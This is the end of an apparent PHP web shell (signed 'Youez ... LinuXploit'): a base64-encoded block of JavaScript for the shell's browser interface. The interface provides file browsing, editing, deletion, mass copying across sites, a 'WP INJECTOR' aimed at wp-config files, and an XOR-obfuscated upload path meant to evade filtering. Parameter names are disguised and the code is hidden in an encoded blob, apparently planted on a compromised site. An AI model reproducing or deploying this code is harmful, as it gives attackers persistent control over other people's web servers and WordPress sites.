SAnPGRpdiBjbGFzcz0iZW1wdHktbXNnIj5UaGlzIGZvbGRlciBpcyBlbXB0eS48L2Rpdj4nOwogICAgICAgIHJldHVybjsKICAgIH0KCiAgICBsZXQgaHRtbCA9ICc8ZGl2IHN0eWxlPSJtYXgtaGVpZ2h0OjQyMHB4O292ZXJmbG93OmF1dG87Ij48dGFibGUgY2xhc3M9ImZ0YWJsZSIgaWQ9ImZ0YWJsZSI+PHRoZWFkPjx0cj48dGggc3R5bGU9IndpZHRoOjIycHg7Ij48L3RoPjx0aD5OYW1lPC90aD48dGggc3R5bGU9IndpZHRoOjgwcHg7Ij5TaXplPC90aD48dGggc3R5bGU9IndpZHRoOjEyMHB4OyI+TW9kaWZpZWQ8L3RoPjx0aCBzdHlsZT0id2lkdGg6NjBweDsiPkFjdGlvbnM8L3RoPjwvdHI+PC90aGVhZD48dGJvZHk+JzsKICAgIGZvciAobGV0IGlkeCA9IDA7IGlkeCA8IGRhdGEuaXRlbXMubGVuZ3RoOyBpZHgrKykgewogICAgICAgIGNvbnN0IGl0ID0gZGF0YS5pdGVtc1tpZHhdOwogICAgICAgIGNvbnN0IGljb1RleHQgPSAoaXQuaWNvbiAhPT0gJ2ZvbGRlcicgJiYgaXQuaWNvbiAhPT0gJ2ZpbGUnKSA/IGl0Lmljb24uc3Vic3RyaW5nKDAsMykudG9VcHBlckNhc2UoKSA6ICcnOwogICAgICAgIGNvbnN0IGVkaXRMaW5rID0gaXQuaXNUZXh0ID8gJzxhIGhyZWY9IiMiIG9uY2xpY2s9ImV2ZW50LnN0b3BQcm9wYWdhdGlvbigpOyBvcGVuRWRpdG9yKFwnJyArIGVzY0F0dHIoaXQucGF0aCkgKyAnXCcpOyByZXR1cm4gZmFsc2U7IiBjbGFzcz0iYWN0LWxpbmsiPkVkaXQ8L2E+JyA6ICcnOwogICAgICAgIGh0bWwgKz0gJzx0ciBkYXRhLW5hbWU9IicgKyBlc2NBdHRyKGl0Lm5hbWUpICsgJyIgZGF0YS1wYXRoPSInICsgZXNjQXR0cihpdC5wYXRoKSArICciIGRhdGEtaXNkaXI9IicgKyAoaXQuaXNEaXIgPyAxIDogMCkgKyAnIiBkYXRhLWlzdGV4dD0iJyArIChpdC5pc1RleHQgPyAxIDogMCkgKyAnIiBvbmNsaWNrPSJzZWxlY3RSb3codGhpcykiIG9uZGJsY2xpY2s9ImhhbmRsZURibENsaWNrKHRoaXMpIj4nOwogICAgICAgIGh0bWwgKz0gJzx0ZD48c3BhbiBjbGFzcz0iaWNvIGljby0nICsgaXQuaWNvbiArICciPicgKyBpY29UZXh0ICsgJzwvc3Bhbj48L3RkPic7CiAgICAgICAgaHRtbCArPSAnPHRkIHN0eWxlPSJmb250LXdlaWdodDonICsgKGl0LmlzRGlyID8gJ2JvbGQnIDogJ25vcm1hbCcpICsgJyI+JyArIGVzY0h0bWwoaXQubmFtZSkgKyAnPC90ZD4nOwogICAgICAgIGh0bWwgKz0gJzx0ZD4nICsgaXQuc2l6ZSArICc8L3RkPjx0ZD4nICsgaXQubW9kVGltZSArICc8L3RkPic7CiAgICAgICAgaHRtbCArPSAnPHRkPicgKyBlZGl0TGluayArICc8L3RkPic7CiAgICAgICAgaHRtbCArPSAnPC90cj4nOwogICAgfQogICAgaHRtbCArPSAnPC90Ym9keT48L3RhYmxlPjwvZGl2Pic7CiAgICBmYy5pbm5lckhUTUwgPSBodG1sOwogICAgc2VsUGF0aCA9IG51bGw7IHNlbE5hbWUgPSBudWxsOwogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2J0bi1yZW5hbWUnKS5kaXNhYmxlZCA9IHRydWU7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuLWRlbGV0ZScpLmRpc2FibGVkID0gdHJ1ZTsKfQoKYXN5bmMgZnVuY3Rpb24gbG9hZERpcmVjdG9yeShwYXRoKSB7CiAgICB0cnkgewogICAgICAgIGNvbnN0IHJlcyA9IGF3YWl0IGZldGNoKCc/YXBpPTEma2F2aXRhPScgKyBlbmNvZGVVUklDb21wb25lbnQocGF0aCkpOwogICAgICAgIGNvbnN0IGRhdGEgPSBhd2FpdCByZXMuanNvbigpOwogICAgICAgIGlmIChkYXRhLml0ZW1zKSByZW5kZXJEaXIoZGF0YSk7CiAgICAgICAgZWxzZSBzaG93TXNnKCdGYWlsZWQgdG8gbG9hZCBkaXJlY3RvcnknLCAnZXJyb3InKTsKICAgIH0gY2F0Y2ggKGUpIHsgc2hvd01zZygnTmV0d29yayBFcnJvcicsICdlcnJvcicpOyB9Cn0KCi8vID09PSBBQ1RJT05TID09PQpmdW5jdGlvbiBzZWxlY3RSb3codHIpIHsKICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJyNmdGFibGUgdGJvZHkgdHInKS5mb3JFYWNoKGZ1bmN0aW9uKHIpIHsgci5jbGFzc0xpc3QucmVtb3ZlKCdzZWwnKTsgfSk7CiAgICB0ci5jbGFzc0xpc3QuYWRkKCdzZWwnKTsKICAgIHNlbFBhdGggPSB0ci5kYXRhc2V0LnBhdGg7IHNlbE5hbWUgPSB0ci5kYXRhc2V0Lm5hbWU7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuLXJlbmFtZScpLmRpc2FibGVkID0gZmFsc2U7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYnRuLWRlbGV0ZScpLmRpc2FibGVkID0gZmFsc2U7Cn0KCmZ1bmN0aW9uIGhhbmRsZURibENsaWNrKHRyKSB7CiAgICBpZiAodHIuZGF0YXNldC5pc2RpciA9PT0gJzEnKSBsb2FkRGlyZWN0b3J5KHRyLmRhdGFzZXQucGF0aCk7CiAgICBlbHNlIGlmICh0ci5kYXRhc2V0LmlzdGV4dCA9PT0gJzEnKSBvcGVuRWRpdG9yKHRyLmRhdGFzZXQucGF0aCk7Cn0KCmFzeW5jIGZ1bmN0aW9uIGRvTmV3Rm9sZGVyKCkgewogICAgY29uc3QgbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnAtbmV3Zm9sZGVyJykudmFsdWUudHJpbSgpOwogICAgaWYgKCFuKSByZXR1cm47CiAgICBjb25zdCByZXMgPSBhd2FpdCBhcGlDYWxsKHsgc2FuZ3JhbTogJ25ld2ZvbGRlcicsIHNhbXVoOiBuIH0pOwogICAgaWYgKHJlcykgeyBzaG93TXNnKHJlcy5tZXNzYWdlLCByZXMuc3RhdHVzKTsgaWYgKHJlcy5zdGF0dXMgPT09ICdpbmZvJykgeyBsb2FkRGlyZWN0b3J5KGN1cnJlbnREaXIpOyBjbG9zZURpYWxvZygnZGxnLW5ld2ZvbGRlcicpOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wLW5ld2ZvbGRlcicpLnZhbHVlID0gJyc7IH0gfQp9CgpmdW5jdGlvbiBvcGVuUmVuYW1lKCkgewogICAgaWYgKCFzZWxOYW1lKSByZXR1cm47CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wLXJlbmFtZScpLnZhbHVlID0gc2VsTmFtZTsKICAgIG9wZW5EaWFsb2coJ2RsZy1yZW5hbWUnKTsKICAgIHNldFRpbWVvdXQoZnVuY3Rpb24oKSB7IGNvbnN0IGkgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnaW5wLXJlbmFtZScpOyBjb25zdCBkID0gaS52YWx1ZS5sYXN0SW5kZXhPZignLicpOyBpLmZvY3VzKCk7IGkuc2V0U2VsZWN0aW9uUmFuZ2UoMCwgZCA+IDAgPyBkIDogaS52YWx1ZS5sZW5ndGgpOyB9LCA4MCk7Cn0KCmFzeW5jIGZ1bmN0aW9uIGRvUmVuYW1lKCkgewogICAgY29uc3QgbiA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdpbnAtcmVuYW1lJykudmFsdWUudHJpbSgpOwogICAgaWYgKCFuIHx8ICFzZWxQYXRoKSByZXR1cm47CiAgICBjb25zdCByZXMgPSBhd2FpdCBhcGlDYWxsKHsgc2FuZ3JhbTogJ3JlbmFtZScsIHB1cmFuYTogc2VsUGF0aCwgbmF5YTogbiB9KTsKICAgIGlmIChyZXMpIHsgc2hvd01zZyhyZXMubWVzc2FnZSwgcmVzLnN0YXR1cyk7IGlmIChyZXMuc3RhdHVzID09PSAnaW5mbycpIHsgbG9hZERpcmVjdG9yeShjdXJyZW50RGlyKTsgY2xvc2VEaWFsb2coJ2RsZy1yZW5hbWUnKTsgfSB9Cn0KCmZ1bmN0aW9uIG9wZW5EZWxldGUoKSB7CiAgICBpZiAoIXNlbE5hbWUpIHJldHVybjsKICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdkZWxldGUtbmFtZScpLnRleHRDb250ZW50ID0gc2VsTmFtZTsKICAgIG9wZW5EaWFsb2coJ2RsZy1kZWxldGUnKTsKfQoKYXN5bmMgZnVuY3Rpb24gZG9EZWxldGUoKSB7CiAgICBpZiAoIXNlbFBhdGgpIHJldHVybjsKICAgIGNvbnN0IHJlcyA9IGF3YWl0IGFwaUNhbGwoeyBzYW5ncmFtOiAnZGVsZXRlJywgbGFrc2h5YTogc2VsUGF0aCB9KTsKICAgIGlmIChyZXMpIHsgc2hvd01zZyhyZXMubWVzc2FnZSwgcmVzLnN0YXR1cyk7IGlmIChyZXMuc3RhdHVzID09PSAnaW5mbycpIHsgbG9hZERpcmVjdG9yeShjdXJyZW50RGlyKTsgY2xvc2VEaWFsb2coJ2RsZy1kZWxldGUnKTsgfSB9Cn0KCmFzeW5jIGZ1bmN0aW9uIGRvTWFzc0NvcHkoKSB7CiAgICBjb25zdCBzcmMgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2FsYy1zcmMnKS52YWx1ZTsKICAgIGNvbnN0IGRlc3QgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2FsYy1kZXN0JykudmFsdWU7CiAgICBjb25zdCByZXMgPSBhd2FpdCBhcGlDYWxsKHsgc2FuZ3JhbTogJ21hc3NfY29weScsIHNyb3Q6IHNyYywgbmFnYXI6IGRlc3QgfSk7CiAgICBpZiAocmVzKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjYWxjLXNjcmVlbicpLmlubmVyVGV4dCA9IHJlcy5sb2cgfHwgcmVzLm1lc3NhZ2U7IHNob3dNc2cocmVzLm1lc3NhZ2UsIHJlcy5zdGF0dXMpOyB9Cn0KCi8vID09PSBXUCBJTkpFQ1RPUiA9PT0KZnVuY3Rpb24gd3BUeXBlKHYpIHsgaWYoIXdwVGFyZ2V0KSB3cFRhcmdldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1jb25maWctcGF0aCcpOyB3cFRhcmdldC52YWx1ZSArPSB2OyB3cFRhcmdldC5mb2N1cygpOyB9CmZ1bmN0aW9uIHdwQmFja3NwYWNlKCkgeyBpZighd3BUYXJnZXQpIHdwVGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3dwLWNvbmZpZy1wYXRoJyk7IHdwVGFyZ2V0LnZhbHVlID0gd3BUYXJnZXQudmFsdWUuc2xpY2UoMCwgLTEpOyB3cFRhcmdldC5mb2N1cygpOyB9Cgphc3luYyBmdW5jdGlvbiBkb1dwSW5qZWN0KCkgewogICAgY29uc3QgcGF0aCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1jb25maWctcGF0aCcpLnZhbHVlOwogICAgY29uc3QgcmVzID0gYXdhaXQgYXBpQ2FsbCh7IHNhbmdyYW06ICd3cF9pbmplY3QnLCB3cF9jb25maWc6IHBhdGggfSk7CiAgICBpZiAocmVzKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd3cC1zY3JlZW4nKS5pbm5lclRleHQgPSByZXMubG9nIHx8IHJlcy5tZXNzYWdlOyBzaG93TXNnKHJlcy5tZXNzYWdlLCByZXMuc3RhdHVzKTsgfQp9CgovLyA9PT0gVVBMT0FEIExPR0lDIChIRVggQkFTRTY0IFhPUikgPT09CmZ1bmN0aW9uIHhvckVuY3J5cHQodGV4dCwga2V5KSB7CiAgICBsZXQgcmVzdWx0ID0gJyc7CiAgICBmb3IgKGxldCBpID0gMDsgaSA8IHRleHQubGVuZ3RoOyBpKyspIHsKICAgICAgICBjb25zdCB4b3JlZCA9IHRleHQuY2hhckNvZGVBdChpKSBeIGtleS5jaGFyQ29kZUF0KGkgJSBrZXkubGVuZ3RoKTsKICAgICAgICByZXN1bHQgKz0geG9yZWQudG9TdHJpbmcoMTYpLnBhZFN0YXJ0KDIsICcwJyk7CiAgICB9CiAgICByZXR1cm4gcmVzdWx0Owp9CgpmdW5jdGlvbiBmaWxlVG9CYXNlNjQoZmlsZSkgewogICAgcmV0dXJuIG5ldyBQcm9taXNlKGZ1bmN0aW9uKHJlc29sdmUsIHJlamVjdCkgewogICAgICAgIGNvbnN0IHJlYWRlciA9IG5ldyBGaWxlUmVhZGVyKCk7CiAgICAgICAgcmVhZGVyLm9ubG9hZCA9IGZ1bmN0aW9uKCkgeyByZXNvbHZlKHJlYWRlci5yZXN1bHQuc3BsaXQoJywnKVsxXSk7IH07CiAgICAgICAgcmVhZGVyLm9uZXJyb3IgPSByZWplY3Q7CiAgICAgICAgcmVhZGVyLnJlYWRBc0RhdGFVUkwoZmlsZSk7CiAgICB9KTsKfQoKYXN5bmMgZnVuY3Rpb24gaGFuZGxlVXBsb2FkKGZpbGUpIHsKICAgIGlmICghZmlsZSkgcmV0dXJuOwogICAgY29uc3QgaXNBbHQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYWx0LXVwbG9hZCcpLmNoZWNrZWQ7CiAgICBjb25zdCBmZCA9IG5ldyBGb3JtRGF0YSgpOwogICAgZmQuYXBwZW5kKCdzYW5ncmFtJywgJ3VwbG9hZCcpOwogICAgZmQuYXBwZW5kKCdrYXZpdGEnLCBjdXJyZW50RGlyKTsKCiAgICBpZiAoaXNBbHQpIHsKICAgICAgICBmZC5hcHBlbmQoJ3BhdHJhJywgZmlsZSk7CiAgICAgICAgc2hvd01zZygnVXBsb2FkaW5nIHZpYSBTdGFuZGFyZCAkX0ZJTEVTLi4uJywgJ2luZm8nKTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2hvd01zZygnRW5jcnlwdGluZyBhbmQgVXBsb2FkaW5nIHZpYSBIZXgvWE9SLi4uJywgJ2luZm8nKTsKICAgICAgICB0cnkgewogICAgICAgICAgICBjb25zdCBiNjQgPSBhd2FpdCBmaWxlVG9CYXNlNjQoZmlsZSk7CiAgICAgICAgICAgIGNvbnN0IGhleCA9IHhvckVuY3J5cHQoYjY0LCBYT1JfS0VZKTsKICAgICAgICAgICAgZmQuYXBwZW5kKCdwYXRyYV9oZXgnLCBoZXgpOwogICAgICAgICAgICBmZC5hcHBlbmQoJ3BhdHJhX25hbWUnLCBmaWxlLm5hbWUpOwogICAgICAgIH0gY2F0Y2ggKGUpIHsgc2hvd01zZygnRmlsZSByZWFkIGVycm9yJywgJ2Vycm9yJyk7IHJldHVybjsgfQogICAgfQoKICAgIHRyeSB7CiAgICAgICAgY29uc3QgcmVzID0gYXdhaXQgZmV0Y2goJz9hcGk9MScsIHsgbWV0aG9kOiAnUE9TVCcsIGJvZHk6IGZkIH0pOwogICAgICAgIGNvbnN0IGRhdGEgPSBhd2FpdCByZXMuanNvbigpOwogICAgICAgIHNob3dNc2coZGF0YS5tZXNzYWdlLCBkYXRhLnN0YXR1cyk7CiAgICAgICAgaWYgKGRhdGEuc3RhdHVzID09PSAnaW5mbycpIGxvYWREaXJlY3RvcnkoY3VycmVudERpcik7CiAgICB9IGNhdGNoIChlKSB7IHNob3dNc2coJ1VwbG9hZCBOZXR3b3JrIEVycm9yJywgJ2Vycm9yJyk7IH0KICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdwYXRyYS1pbnB1dCcpLnZhbHVlID0gJyc7Cn0KCi8vID09PSBFRElUT1IgTE9HSUMgPT09CmZ1bmN0aW9uIGI2NERlY29kZVVuaWNvZGUoc3RyKSB7CiAgICB0cnkgewogICAgICAgIHJldHVybiBkZWNvZGVVUklDb21wb25lbnQoYXRvYihzdHIpLnNwbGl0KCcnKS5tYXAoZnVuY3Rpb24oYykgeyByZXR1cm4gJyUnICsgKCcwMCcgKyBjLmNoYXJDb2RlQXQoMCkudG9TdHJpbmcoMTYpKS5zbGljZSgtMik7IH0pLmpvaW4oJycpKTsKICAgIH0gY2F0Y2goZSkgeyByZXR1cm4gYXRvYihzdHIpOyB9Cn0KCmFzeW5jIGZ1bmN0aW9uIG9wZW5FZGl0b3IocGF0aCkgewogICAgZWRpdGluZ0ZpbGVQYXRoID0gcGF0aDsKICAgIGNvbnN0IHJlcyA9IGF3YWl0IGFwaUNhbGwoeyBzYW5ncmFtOiAnZ2V0X2ZpbGUnLCBzaGFsYWthOiBwYXRoIH0pOwogICAgaWYgKHJlcyAmJiByZXMuc3RhdHVzID09PSAnaW5mbycpIHsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLXRpdGxlJykudGV4dENvbnRlbnQgPSByZXMubmFtZSArICcgLSBOb3RlcGFkJzsKICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnZWRpdG9yLXBhdGgnKS50ZXh0Q29udGVudCA9IHJlcy5wYXRoOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItY29udGVudCcpLnZhbHVlID0gYjY0RGVjb2RlVW5pY29kZShyZXMuY29udGVudF9iNjQpOwogICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YXNrYmFyLXRleHQnKS50ZXh0Q29udGVudCA9IHJlcy5uYW1lOwogICAgICAgIG9wZW5EaWFsb2coJ2RsZy1lZGl0b3InKTsKICAgIH0gZWxzZSB7IHNob3dNc2cocmVzID8gcmVzLm1lc3NhZ2UgOiAnRXJyb3IgbG9hZGluZyBmaWxlJywgJ2Vycm9yJyk7IH0KfQoKYXN5bmMgZnVuY3Rpb24gc2F2ZUZpbGUoKSB7CiAgICBpZiAoIWVkaXRpbmdGaWxlUGF0aCkgcmV0dXJuOwogICAgY29uc3QgY29udGVudCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdlZGl0b3ItY29udGVudCcpLnZhbHVlOwogICAgY29uc3QgcmVzID0gYXdhaXQgYXBpQ2FsbCh7IHNhbmdyYW06ICdzYXZlJywgbGFrc2h5YTogZWRpdGluZ0ZpbGVQYXRoLCB2aXNoYXk6IGNvbnRlbnQgfSk7CiAgICBpZiAocmVzKSB7CiAgICAgICAgc2hvd01zZyhyZXMubWVzc2FnZSwgcmVzLnN0YXR1cyk7CiAgICAgICAgaWYgKHJlcy5zdGF0dXMgPT09ICdpbmZvJykgbG9hZERpcmVjdG9yeShjdXJyZW50RGlyKTsKICAgIH0KfQoKLy8gPT09IERJQUxPRyAmIFVJID09PQpmdW5jdGlvbiBvcGVuRGlhbG9nKGlkKSB7CiAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkuY2xhc3NMaXN0LnJlbW92ZSgnaGlkZGVuJyk7CiAgICBjb25zdCBpbnAgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChpZCkucXVlcnlTZWxlY3RvcignaW5wdXRbdHlwZT0idGV4dCJdJyk7CiAgICBpZiAoaW5wKSBzZXRUaW1lb3V0KGZ1bmN0aW9uKCkgeyBpbnAuZm9jdXMoKTsgfSwgNTApOwp9CgpmdW5jdGlvbiBjbG9zZURpYWxvZyhpZCkgewogICAgZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoaWQpLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpOwogICAgaWYgKGlkID09PSAnZGxnLWVkaXRvcicpIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCd0YXNrYmFyLXRleHQnKS50ZXh0Q29udGVudCA9IGN1cnJlbnREaXIuc3BsaXQoJy8nKS5wb3AoKSB8fCAnLyc7Cn0KCmZ1bmN0aW9uIGNhbGNUeXBlKHYpIHsgaWYgKCFjYWxjVGFyZ2V0KSBjYWxjVGFyZ2V0ID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2NhbGMtc3JjJyk7IGNhbGNUYXJnZXQudmFsdWUgKz0gdjsgY2FsY1RhcmdldC5mb2N1cygpOyB9CmZ1bmN0aW9uIGNhbGNCYWNrc3BhY2UoKSB7IGlmICghY2FsY1RhcmdldCkgY2FsY1RhcmdldCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjYWxjLXNyYycpOyBjYWxjVGFyZ2V0LnZhbHVlID0gY2FsY1RhcmdldC52YWx1ZS5zbGljZSgwLCAtMSk7IGNhbGNUYXJnZXQuZm9jdXMoKTsgfQpmdW5jdGlvbiBjbGVhckNhbGMoKSB7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjYWxjLXNyYycpLnZhbHVlID0gJyc7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjYWxjLWRlc3QnKS52YWx1ZSA9ICcnOyBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2FsYy1zY3JlZW4nKS5pbm5lclRleHQgPSAnMCc7IGNhbGNUYXJnZXQgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnY2FsYy1zcmMnKTsgY2FsY1RhcmdldC5mb2N1cygpOyB9CgpmdW5jdGlvbiB1cGRhdGVDbG9jaygpIHsgY29uc3QgZCA9IG5ldyBEYXRlKCk7IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjbG9jaycpLnRleHRDb250ZW50ID0gZC5nZXRIb3VycygpLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwgJzAnKSArICc6JyArIGQuZ2V0TWludXRlcygpLnRvU3RyaW5nKCkucGFkU3RhcnQoMiwgJzAnKTsgfQp1cGRhdGVDbG9jaygpOwpzZXRJbnRlcnZhbCh1cGRhdGVDbG9jaywgMzAwMDApOwoKd2luZG93LmFkZEV2ZW50TGlzdGVuZXIoJ3BvcHN0YXRlJywgZnVuY3Rpb24oZSkgeyBpZiAoZS5zdGF0ZSAmJiBlLnN0YXRlLnBhdGgpIGxvYWREaXJlY3RvcnkoZS5zdGF0ZS5wYXRoKTsgfSk7CmxvYWREaXJlY3RvcnkoY3VycmVudERpcik7Cgpkb2N1bWVudC5hZGRFdmVudExpc3RlbmVyKCdrZXlkb3duJywgZnVuY3Rpb24oZSkgewogICAgaWYgKGUua2V5ID09PSAnRGVsZXRlJyAmJiBzZWxQYXRoICYmICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubW9kYWwtYmc6bm90KC5oaWRkZW4pJykpIG9wZW5EZWxldGUoKTsKICAgIGlmIChlLmtleSA9PT0gJ0YyJyAmJiBzZWxQYXRoICYmICFkb2N1bWVudC5xdWVyeVNlbGVjdG9yKCcubW9kYWwtYmc6bm90KC5oaWRkZW4pJykpIHsgZS5wcmV2ZW50RGVmYXVsdCgpOyBvcGVuUmVuYW1lKCk7IH0KICAgIGlmIChlLmtleSA9PT0gJ0VzY2FwZScpIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoJy5tb2RhbC1iZycpLmZvckVhY2goZnVuY3Rpb24obSkgeyBtLmNsYXNzTGlzdC5hZGQoJ2hpZGRlbicpOyB9KTsKfSk7Cjwvc2NyaXB0Pgo8L2JvZHk+CjwvaHRtbD4="));
?>

Youez - 2016 - github.com/yon3zu
LinuXploit